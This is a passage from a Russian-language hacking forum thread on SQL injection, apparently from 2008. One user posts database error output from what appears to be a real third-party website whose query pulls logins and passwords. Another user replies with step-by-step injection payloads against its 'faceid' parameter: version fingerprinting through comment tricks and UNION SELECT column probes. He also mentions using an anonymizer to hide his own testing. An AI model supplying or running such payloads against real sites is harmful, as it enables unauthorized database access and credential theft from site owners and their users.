проблема в том что UNION не проходит [warning : 173 : select execution error 'ERROR: syntax error at or near "UNION" LINE 1: ...spam FROM face AS F,company AS C WHERE (F.id = -1 UNION SELE... ^' in command 'SET_FROM_SELECT:$THIS.type|$THIS.companyid|$THIS.status|$THIS.login|$THIS.password|$THIS.name|$THIS.phone|$THIS.fax|$THIS.email|$THIS.department|$THIS.faceposition|$THIS.blocked|$THIS.companytitle|$THIS.antispam:EXPORT_DATA = F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam;FROM = face AS F,company AS C;F.id = $THIS.faceid AND C.id = F.companyid', select string : 'SELECT F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam FROM face AS F,company AS C WHERE (F.id = -1 UNION SELECT 1-- AND C.id = F.companyid)'] [warning : variable $companyid does not exist in command 'SET_FROM_SELECT:$THIS.mainfaceid:EXPORT_DATA = id;FROM = face;ORDER_BY = type DESC;LIMIT = 1;companyid = $THIS.companyid AND type IN (1,2)'] [/code]
Post #: 637
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-22 18:35:42.200000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Сообщение - муть какая-то.
Но попробую разобраться.
Попробуй
&faceid=1+/*!00000 '*/
Если вылетела ошибка значит это мускул. Дальше
&faceid=1+/*!30000 '*/
&faceid=1+/*!40000 '*/
&faceid=1+/*!50000 '*/
Увеличивай первую цифру до тех пор пока не вылезет ошибка. Тогда возвращайся на шаг назад и начинай увеличивать вторую опять до появления ошибки.
Определи так хотя бы первые три цифры.
Таким образом получи версию мускула. А там посмотрим.



P.S.
Попробуй так:
&faceid=-1)+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14–
Если не получится то замени в конце – на /*
Напиши, что выдаст.
Post #: 638
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-23 07:50:00.316666   
alex7474

Сообщений: 54
Оценки: 0
Присоединился: 2008-09-11 11:29:55.193333
[image]http://www.usetender.com/images/spacer.gif[/image] [warning : 173 : select execution error 'ERROR: unterminated /* comment at or near "/* AND C.id = F.companyid)" LINE 1: ... -1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14/* AND C.i... ^' in command 'SET_FROM_SELECT:$THIS.type|$THIS.companyid|$THIS.status|$THIS.login|$THIS.password|$THIS.name|$THIS.phone|$THIS.fax|$THIS.email|$THIS.department|$THIS.faceposition|$THIS.blocked|$THIS.companytitle|$THIS.antispam:EXPORT_DATA = F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam;FROM = face AS F,company AS C;F.id = $THIS.faceid AND C.id = F.companyid', select string : 'SELECT F.type,F.companyid,F.status,F.login,F.password,F.name,F.phone,F.fax,F.email,F.department,F.faceposition,F.blocked,C.title,C.antispam FROM face AS F,company AS C WHERE (F.id = -1) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14/* AND C.id = F.companyid)'] [warning : variable $companyid does not exist in command 'SET_FROM_SELECT:$THIS.mainfaceid:EXPORT_DATA = id;FROM = face;ORDER_BY = type DESC;LIMIT = 1;companyid = $THIS.companyid AND type IN (1,2)'] [/code]
Post #: 639
RE: Вопросы и проблемы с SQL-инъекциями (SQL-inj) - 2008-11-23 09:45:35.033333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
В данном случае запрос походу правильный, но дело в том, что не закрыт коментарий.
Проведи:
&faceid=-1)+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14–
&faceid=-1)+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14%23
Напиши, что ответит.
Я и сам бы попробовал, но у меня сейчас плохая линия и анонимайзер не хочет работать.[:(]
Post #: 640
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [16] 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
Все форумы >> [Для начинающих] >> RE: Кто объяснит вопрос по TABLE_SCHEMA?







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.